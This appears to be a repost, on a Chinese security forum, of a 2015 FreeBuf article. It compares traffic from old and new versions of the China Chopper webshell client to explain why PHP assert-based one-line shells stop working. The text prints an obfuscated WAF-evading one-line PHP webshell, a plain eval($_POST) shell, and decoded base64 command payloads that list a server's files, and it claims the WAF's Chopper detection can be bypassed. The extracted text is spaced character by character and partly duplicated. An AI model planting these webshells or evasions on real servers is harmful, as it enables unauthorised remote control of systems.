搜索

[8607] 2015-01-20_新版中国菜刀（20141213）一句话不支持phpassert分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2015-01-20_新版中国菜刀（20141213）一句话不支持phpassert分析 新 版 中 国 菜 刀 （ 2 0 1 4 1 2 1 3 ） 一 句 话 不 支 持 p h p   a s s e r t 分 析 F r e e B u f   2 0 1 5 - 0 1 - 2 0 前 几 天 下 了 新 版 的 菜 刀 ， 今 天 发 现 一 个 前 几 天 下 了 新 版 的 菜 刀 ， 今 天 发 现 一 个 p h p 一 句 话 连 不 上 ， 但 是 旧 版 的 菜 刀 可 以 连 ， 而 且 新 版 是 可 以 连 接 一 句 话 连 不 上 ， 但 是 旧 版 的 菜 刀 可 以 连 ， 而 且 新 版 是 可 以 连 接 e v a l 的 的 p h p 一 句 话 。 当 时 挺 好 奇 ， 排 除 了 非 菜 刀 造 成 的 可 能 性 ， 就 只 能 是 菜 刀 更 新 的 一 句 话 。 当 时 挺 好 奇 ， 排 除 了 非 菜 刀 造 成 的 可 能 性 ， 就 只 能 是 菜 刀 更 新 的 问 题 ， 所 以 接 下 来 要 做 的 就 是 分 析 新 版 和 老 版 菜 刀 ， 并 做 对 比 。 问 题 ， 所 以 接 下 来 要 做 的 就 是 分 析 新 版 和 老 版 菜 刀 ， 并 做 对 比 。 0 x 0 1 .   抓 包 分 析 抓 包 分 析 对 新 版 菜 刀 抓 包 对 新 版 菜 刀 抓 包 在 远 程 的 服 务 器 上 放 了 一 个 过 某 狗 的 p h p 一 句 话 ， 文 件 名 为 x x o o . p h p ， 内 容 如 下 < ? p h p @ $ _ = " s " . " s " . / * - / * - * / " e " . / * - / * - * / " r " ; @ $ _ = / * - / * - * / " a " . / * - / * - * / $ _ . / * - / * - * / " t " ; @ $ _ / * - / * - * / ( $ / * - / * - * / { " _ P " . / * - / * - * / " O S " . / * - / * - * / " T " } [ / * - / * - * / 0 / * - / * - * / - / * - / * - * / 2 / * - / * - * / - / * - / * - * / 5 / * - / * - * / ] ) ;   / /   密 码 - 7 ? > 新 版 菜 刀 连 接 后 ， 出 现 下 图 错 误 。 用 w i r e s h a r k 抓 包 ， 观 察 h t t p 的 r e q u e s t 和 r e s p o n s e w i r e s h a r k 过 滤 条 件 ： i p . a d d r = = x x . x x . x x . x x   a n d   h t t p ， 设 置 完 成 后 ， 点 击 开 始 c a p t u r e 。 现 在 回 到 菜 刀 ， 右 键 菜 刀 的 文 件 管 理 ， 出 现 上 图 的 错 误 后 ， 即 可 抓 到 如 下 两 个 包 ， 一 个 r e q u e s t ， 一 个 r e s p o n s e 注 意 ， 如 果 是 本 地 l o c a l h o s t 服 务 器 的 话 ， w i r e s h a r k 不 能 直 接 抓 包 ， 具 体 可 以 百 度 或 者 用 b u r p 。 菜 刀 整 个 p o s t 数 据 一 共 有 三 个 变 量 变 量 一 ： 变 量 一 ： - 7 = $ x x = c h r ( 9 8 ) . c h r ( 9 7 ) . c h r ( 1 1 5 ) . c h r ( 1 0 1 ) . c h r ( 5 4 ) . c h r ( 5 2 ) . c h r ( 9 5 ) . c h r ( 1 0 0 ) . c h r ( 1 0 1 ) . c h r ( 9 9 ) . c h r ( 1 1 1 ) . c h r ( 1 0 0 ) . c h r ( 1 0 1 ) ; $ y y = $ _ P O S T ; @ e v a l / * * / ( $ x x / * * / ( $ y y [ z 0 ] ) ) ; 解 密 后 为 ： @ e v a l / * * / ( b a s e 6 4 _ d e c o d e / * * / ( $ _ P O S T [ z 0 ] ) ) ; 还 有 两 个 % 0 1 ， 因 为 没 有 影 响 就 不 写 了 。 变 量 二 ： 变 量 二 ： z 0 = Q G l u a V 9 z Z X Q o I m R p c 3 B s Y X l f Z X J y b 3 J z I i w i M C I p O 0 B z Z X R f d G l t Z V 9 s a W 1 p d C g w K T t A c 2 V 0 X 2 1 h Z 2 l j X 3 F 1 b 3 R l c 1 9 y d W 5 0 a W 1 l K D A p O 2 V j a G 8 o I i 0 + f C I p O z s k R D 1 i Y X N l N j R f Z G V j b 2 R l K G d l d F 9 t Y W d p Y 1 9 x d W 9 0 Z X N f Z 3 B j K C k / c 3 R y a X B z b G F z a G V z K C R f U E 9 T V F s i e j E i X S k 6 J F 9 Q T 1 N U W y J 6 M S J d K T s k R j 1 A b 3 B l b m R p c i g k R C k 7 a W Y o J E Y 9 P U 5 V T E w p e 2 V j a G 8 o I k V S U k 9 S O i 8 v I F B h d G g g T m 9 0 I E Z v d W 5 k I E 9 y I E 5 v I F B l c m 1 p c 3 N p b 2 4 h I i k 7 f W V s c 2 V 7 J E 0 9 T l V M T D s k T D 1 O V U x M O 3 d o a W x l K C R O P U B y Z W F k Z G l y K C R G K S l 7 J F A 9 J E Q u I i 8 i L i R O O y R U P U B k Y X R l K C J Z L W 0 t Z C B I O m k 6 c y I s Q G Z p b G V t d G l t Z S g k U C k p O 0 A k R T 1 z d W J z d H I o Y m F z Z V 9 j b 2 5 2 Z X J 0 K E B m a W x l c G V y b X M o J F A p L D E w L D g p L C 0 0 K T s k U j 0 i X H Q i L i R U L i J c d C I u Q G Z p b G V z a X p l K C R Q K S 4 i X H Q i L i R F L i I K I j t p Z i h A a X N f Z G l y K C R Q K S k k T S 4 9 J E 4 u I i 8 i L i R S O 2 V s c 2 U g J E w u P S R O L i R S O 3 1 l Y 2 h v I C R N L i R M O 0 B j b G 9 z Z W R p c i g k R i k 7 f T t l Y 2 h v K C J 8 P C 0 i K T t k a W U o K T s = 通 过 上 面 @ e v a l / * * / ( b a s e 6 4 _ d e c o d e / * * / ( $ _ P O S T [ z 0 ] ) ) ; 可 以 知 道 z 0 是 经 过 b a s e 6 4 编 码 的 ， 那 么 解 码 后 为 ： @ i n i _ s e t ( " d i s p l a y _ e r r o r s " ,   " 0 " ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; @ s e t _ m a g i c _ q u o t e s _ r u n t i m e ( 0 ) ; e c h o   ( " - > | " ) ; ; $ D   =   b a s e 6 4 _ d e c o d e ( g e t _ m a g i c _ q u o t e s _ g p c ( )   ?   s t r i p s l a s h e s ( $ _ P O S T [ " z 1 " ] )   :   $ _ P O S T [ " z 1 " ] ) ; $ F   =   @ o p e n d i r ( $ D ) ; i f   ( $ F   = =   N U L L )   {         e c h o   ( " E R R O R : / /   P a t h   N o t   F o u n d   O r   N o   P e r m i s s i o n ! " ) ; }   e l s e   {         $ M   =   N U L L ;         $ L   =   N U L L ;         w h i l e   ( $ N   =   @ r e a d d i r ( $ F ) )   {                 $ P   =   $ D   .   " / "   .   $ N ;                 $ T   =   @ d a t e ( " Y - m - d   H : i : s " ,   @ f i l e m t i m e ( $ P ) ) ;                 @ $ E   =   s u b s t r ( b a s e _ c o n v e r t ( @ f i l e p e r m s ( $ P )   ,   1 0 ,   8 )   ,   - 4 ) ;                 $ R   =   " t "   .   $ T   .   " t "   .   @ f i l e s i z e ( $ P )   .   " t "   .   $ E   .   " " ;                 i f   ( @ i s _ d i r ( $ P ) )   $ M . =   $ N   .   " / "   .   $ R ;                 e l s e   $ L . =   $ N   .   $ R ;         }         e c h o   $ M   .   $ L ;         @ c l o s e d i r ( $ F ) ; } ; e c h o   ( " | < - " ) ; d i e ( ) ; 可 以 看 出 z 0 是 遍 历 文 件 的 作 用 。 变 量 三 ： 变 量 三 ： z 1 = Q z p c X H d h b X B c X H d 3 d 1 x c 通 过 变 量 二 可 以 知 道 z 1 也 是 b a s e 6 4 编 码 的 ， 那 么 z 1 解 码 后 为 C : w a m p w w w ， 可 以 看 出 是 z 1 遍 历 文 件 的 文 件 路 径 。 对 老 版 菜 刀 抓 包 对 老 版 菜 刀 抓 包 同 理 ， 变 量 一 ： 变 量 一 ： - 7 = @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ z 0 ] ) ) ; 变 量 二 ： 变 量 二 ： z 0 = Q G l u a V 9 z Z X Q o I m R p c 3 B s Y X l f Z X J y b 3 J z I i w i M C I p O 0 B z Z X R f d G l t Z V 9 s a W 1 p d C g w K T t A c 2 V 0 X 2 1 h Z 2 l j X 3 F 1 b 3 R l c 1 9 y d W 5 0 a W 1 l K D A p O 2 V j a G 8 o I i 0 + f C I p O z s k R D 1 i Y X N l N j R f Z G V j b 2 R l K C R f U E 9 T V F s i e j E i X S k 7 J E Y 9 Q G 9 w Z W 5 k a X I o J E Q p O 2 l m K C R G P T 1 O V U x M K X t l Y 2 h v K C J F U l J P U j o v L y B Q Y X R o I E 5 v d C B G b 3 V u Z C B P c i B O b y B Q Z X J t a X N z a W 9 u I S I p O 3 1 l b H N l e y R N P U 5 V T E w 7 J E w 9 T l V M T D t 3 a G l s Z S g k T j 1 A c m V h Z G R p c i g k R i k p e y R Q P S R E L i I v I i 4 k T j s k V D 1 A Z G F 0 Z S g i W S 1 t L W Q g S D p p O n M i L E B m a W x l b X R p b W U o J F A p K T t A J E U 9 c 3 V i c 3 R y K G J h c 2 V f Y 2 9 u d m V y d C h A Z m l s Z X B l c m 1 z K C R Q K S w x M C w 4 K S w t N C k 7 J F I 9 I l x 0 I i 4 k V C 4 i X H Q i L k B m a W x l c 2 l 6 Z S g k U C k u I l x 0 I i 4 k R S 4 i C i I 7 a W Y o Q G l z X 2 R p c i g k U C k p J E 0 u P S R O L i I v I i 4 k U j t l b H N l I C R M L j 0 k T i 4 k U j t 9 Z W N o b y A k T S 4 k T D t A Y 2 x v c 2 V k a X I o J E Y p O 3 0 7 Z W N o b y g i f D w t I i k 7 Z G l l K C k 7 b a s e 6 4 _ d e c o d e 后 为 ： i n i _ s e t ( " d i s p l a y _ e r r o r s " ,   " 0 " ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; @ s e t _ m a g i c _ q u o t e s _ r u n t i m e ( 0 ) ; e c h o   ( " - > | " ) ; ; $ D   =   b a s e 6 4 _ d e c o d e ( $ _ P O S T [ " z 1 " ] ) ;
$ F   =   @ o p e n d i r ( $ D ) ; i f   ( $ F   = =   N U L L )   {         e c h o   ( " E R R O R : / /   P a t h   N o t   F o u n d   O r   N o   P e r m i s s i o n ! " ) ; }   e l s e   {         $ M   =   N U L L ;         $ L   =   N U L L ;         w h i l e   ( $ N   =   @ r e a d d i r ( $ F ) )   {                 $ P   =   $ D   .   " / "   .   $ N ;                 $ T   =   @ d a t e ( " Y - m - d   H : i : s " ,   @ f i l e m t i m e ( $ P ) ) ;                 @ $ E   =   s u b s t r ( b a s e _ c o n v e r t ( @ f i l e p e r m s ( $ P )   ,   1 0 ,   8 )   ,   - 4 ) ;                 $ R   =   " t "   .   $ T   .   " t "   .   @ f i l e s i z e ( $ P )   .   " t "   .   $ E   .   " " ;                 i f   ( @ i s _ d i r ( $ P ) )   $ M . =   $ N   .   " / "   .   $ R ;                 e l s e   $ L . =   $ N   .   $ R ;         }         e c h o   $ M   .   $ L ;         @ c l o s e d i r ( $ F ) ; } ; e c h o   ( " | < - " ) ; d i e ( ) ; ? > 变 量 三 变 量 三 : z 1 = Q z p c X H d h b X B c X H d 3 d 1 x c 0 x 0 2 .   对 比 分 析 对 比 分 析 通 过 第 一 步 的 抓 包 对 比 分 析 后 ， 可 以 发 现 只 有 变 量 一 是 造 成 a s s e r t 不 能 使 用 的 元 凶 ， 因 为 其 他 两 个 变 量 基 本 是 一 模 一 样 。 既 然 e v a l 的 一 句 话 可 以 使 用 ， 而 a s s e r t 的 一 句 话 不 能 使 用 ， 那 应 该 是 e v a l 和 a s s e r t 用 法 不 同 造 成 这 个 问 题 。 通 过 文 档 可 以 发 现 a s s e r t 是 判 断 一 条 语 句 是 否 为 F A L S E （ 注 意 只 是 一 条 ） ， 而 e v a l 是 把 当 前 字 符 串 作 为 代 码 执 行 （ 可 以 是 多 条 ） 。 证 实 下 ： x x o o . p h p 输 出 a ， 说 明 只 执 行 了 第 一 句 a r r a y . p h p 内 容 如 下 （ 过 某 狗 ） < ? p h p e v a l ( $ _ P O S T [ c m d ]   ) ; ? > 输 出 a b ， 说 明 两 句 都 执 行 真 想 终 于 浮 出 水 面 。 由 于 a s s e r t 的 单 个 语 句 限 制 和 新 版 菜 刀 第 一 个 变 量 是 多 条 语 句 导 致 a s s e r t 的 一 句 话 新 版 菜 刀 不 能 使 用 。 0 x 0 3 .   影 响 影 响 所 有 a s s e r t 的 一 句 话 都 不 能 用 ， 但 可 以 使 用 老 版 本 。 0 x 0 4 .   总 结 总 结 1 .   通 过 这 样 分 析 后 ， 某 狗 的 菜 刀 拦 截 就 完 全 可 以 b y p a s s ， 下 篇 文 章 再 说 吧 。 2 .   只 分 析 了 p h p 的 文 件 管 理 部 分 ， 其 他 部 分 可 能 也 会 存 在 些 许 的 不 一 样 ， 没 有 遇 到 ， 所 以 没 做 分 析 [ 作 者 作 者 / J o y C h o u ， 属 ， 属 F r e e B u f 原 创 奖 励 计 划 文 章 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 文 章 ， 未 经 许 可 禁 止 转 载 ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理